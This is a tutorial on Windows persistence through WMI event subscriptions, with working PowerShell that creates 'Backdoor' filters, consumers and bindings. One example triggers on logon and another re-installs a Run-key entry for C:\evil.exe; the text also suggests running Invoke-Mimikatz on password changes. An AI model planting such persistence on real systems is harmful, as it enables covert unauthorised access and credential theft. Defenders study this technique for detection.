Establishing Persistence with WMI

Like SQL, WMI can be setup with a set of Triggers. We can use these triggers to maintain persistence on a system by launching commands after a specified event is detected. These are stored in the root/subscription namespace and fall into two broad categories, Intrinsic Events and Extrinsic Events.

Intrinsic Events

Intrinsic events work off a polling rate, wherein WMI polls the Windows Event Tracer at a set interval, checking if an event has occurred. The WMI polling must occur while the event is occurring or else WMI will miss the event and not trigger. Due to this, WMI triggers with an insufficient polling rate have the potential to miss events.

Extrinsic Events

Extrinsic Events, instead of working off a polling rate where the event is pulled into WMI, have the event pushed into WMI. Due to this, the trigger will not miss the event. While Extrinsic events are more reliable, there are also far fewer events that trigger this way.

Breakdown of Triggering

WMI triggers consist of three parts:

  1. Filter
  2. Consumer
  3. Binding

Let’s look at an example of an intrinsic event similar to what is in the awesome PowerLurk WMI persistence script:

Filter

The filter looks for the triggering event.

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = "Backdoor Logon Filter"
       Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
       QueryLanguage = 'WQL'
}

In this example, we use the Set-WmiInstance commandlet to create a new instance of an EventFilter in the root\subscription namespace. In this we define a query that polls from the InstanceCreationEvent class looking for an Instance that matches the Win32_LoggedOnUser class. The polling rate is defined in the WITHIN 10 clause.

Consumer

The consumer is launched upon the successful match of a filter. Now let’s look at an example consumer:

$command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value texttext"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Backdoor Consumer"
       CommandLineTemplate = $Command
}

In this example, we create an instance within the CommandLineEventConsumer class which is also located in the root\subscription namespace. This type of consumer can execute a series of commands on the command line.

Binding

Now let’s examine a binding

Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
       Filter = $Filter
       Consumer = $Consumer
}

A binding takes an EventFilter and ties it to a consumer that is executed whenever the filter is matched. This entire sequence of events will look for a user logon event and then afterwords execute a command. In this instance, we just created a file, however a more imaginative attacker could do far more interesting things.

The previous was an example of an Intrinsic event. Let’s now examine a slightly more complicated example that uses and Extrinsic event.

$Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
$Name = "Registry Backdoor"
$Value = "C:\evil.exe"
$Command = "powershell.exe -Command Set-ItemProperty $path -Name $name -Value $value"

$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
       EventNamespace = 'root/cimv2'
       Name = "Backdoor Registry Filter"
       Query = "SELECT * FROM RegistryValueChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath=''SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'' AND ValueName = '$name'"
       QueryLanguage = 'WQL'
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{
       Name = "Backdoor Registry Consumer"
       CommandLineTemplate = $Command
}
$Binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{
       Filter = $Filter
       Consumer = $Consumer
}

In this instance we setup an extrinsic event that looks for a registry entry change in theHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ key and upon detecting the change restores the keys value.

There are many possible uses for WMI Event Triggers and Consumers. For instance we could trigger on a password change event and run Invoke-Mimikatz afterword.